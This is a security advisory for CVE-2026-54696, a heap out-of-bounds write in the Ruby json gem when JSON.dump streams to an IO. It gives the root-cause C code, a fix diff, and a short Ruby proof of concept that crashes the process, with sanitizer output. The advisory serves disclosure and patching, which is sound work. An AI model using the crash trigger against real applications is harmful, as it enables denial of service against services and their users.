---
id: CVE-2026-54696
aliases:
  - GHSA-x2f5-4prf-w687
title: 'Ruby json: JSON generator heap buffer overflow when streaming to an IO'
summary: 'Ruby json: JSON generator heap buffer overflow when streaming to an IO'
severity: low
cvss: 3.7
cwe:
  - CWE-122
  - CWE-131
  - CWE-787
vendor: json
product: json
ecosystem: rubygems
affected:
  - 'json >= 2.9.0, < 2.19.9'
patched:
  - json 2.19.9
published: '2026-07-23'
updated: '2026-07-23'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-x2f5-4prf-w687'
references:
  - url: 'https://github.com/ruby/json/security/advisories/GHSA-x2f5-4prf-w687'
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-54696'
  - url: >-
      https://github.com/ruby/json/commit/996bac686d64e4e3aaeae03b14a7f9ee9695ebdb
  - url: 'https://github.com/ruby/json/releases/tag/v2.19.9'
  - url: >-
      https://github.com/rubysec/ruby-advisory-db/blob/master/gems/json/CVE-2026-54696.yml
  - url: 'https://github.com/advisories/GHSA-x2f5-4prf-w687'
tags:
  - ghsa
  - rubygems
epss: 0.00382
epssPercentile: 0.29369
ingestedAt: '2026-07-23T20:19:19.455Z'
---

## Overview

### Summary

`JSON.dump(obj, io)` and `JSON::State#generate(obj, io)` can write past the
internal JSON generator buffer when a streamed object contains an
attacker-controlled string near 16 KB. The issue is a heap out-of-bounds write
in the IO-streaming path and is demonstrated as a reliable process crash /
denial of service.

This was triaged on HackerOne as report #3785370. The issue was confirmed there
and I was asked to open it here.

### Details

Root cause is in `ext/json/fbuffer/fbuffer.h`, `fbuffer_do_inc_capa()`.

On the IO path, the buffer is grown to `FBUFFER_IO_BUFFER_SIZE` (16383), but the
early return checks total capacity instead of remaining capacity:

```c
if (RB_UNLIKELY(fb->io)) {
    if (fb->capa < FBUFFER_IO_BUFFER_SIZE) {
        fbuffer_realloc(fb, FBUFFER_IO_BUFFER_SIZE);
    } else {
        fbuffer_flush(fb);
    }

    if (RB_LIKELY(requested < fb->capa)) {
        return;
    }
}
```

If `fb->len` already contains JSON syntax bytes, and a string flush has
`16383 - fb->len <= requested < 16383`, this check returns even though there is
not enough space left. `fbuffer_append_reserved()` then writes past the buffer:

```c
MEMCPY(fb->ptr + fb->len, newstr, char, len);
```

The minimal fix is to compare against the remaining capacity:

```diff
-        if (RB_LIKELY(requested < fb->capa)) {
+        if (RB_LIKELY(requested <= fb->capa - fb->len)) {
             return;
         }
```

### PoC

```ruby
require "json"
require "stringio"

io = StringIO.new
big = "a" * 16385
big[16382] = '"'          # escapable byte near the buffer boundary

JSON.dump([big], io)
```

Verified results:

```text
Ruby 4.0.5 / bundled json 2.18.0:
malloc(): invalid size (unsorted)
.../json/common.rb:956: [BUG] Aborted

ruby/ruby master c78418b7a0 / json 2.19.8 / ASan:
heap-buffer-overflow WRITE of size 16382
  fbuffer_append_reserved  ext/json/fbuffer/fbuffer.h:145
  search_flush             ext/json/generator/generator.c:139
  convert_UTF8_to_JSON     ext/json/generator/generator.c:231
  raw_generate_json_string ext/json/generator/generator.c:922
  cState_m_generate        ext/json/generator/generator.c:1891
```

Control: the same data through `JSON.dump([big])` without an IO argument returns
normally. The bug is specific to the IO-streaming path.

### Impact

A remote attacker can trigger a heap out-of-bounds write if they control a
string field that an application serializes through `JSON.dump(obj, io)` or
`JSON::State#generate(obj, io)`. The demonstrated impact is reliable denial of
service. I am not claiming code execution or information disclosure.

## Affected packages

- `json >= 2.9.0, < 2.19.9`

## Remediation

Upgrade to a patched release:

- `json 2.19.9`
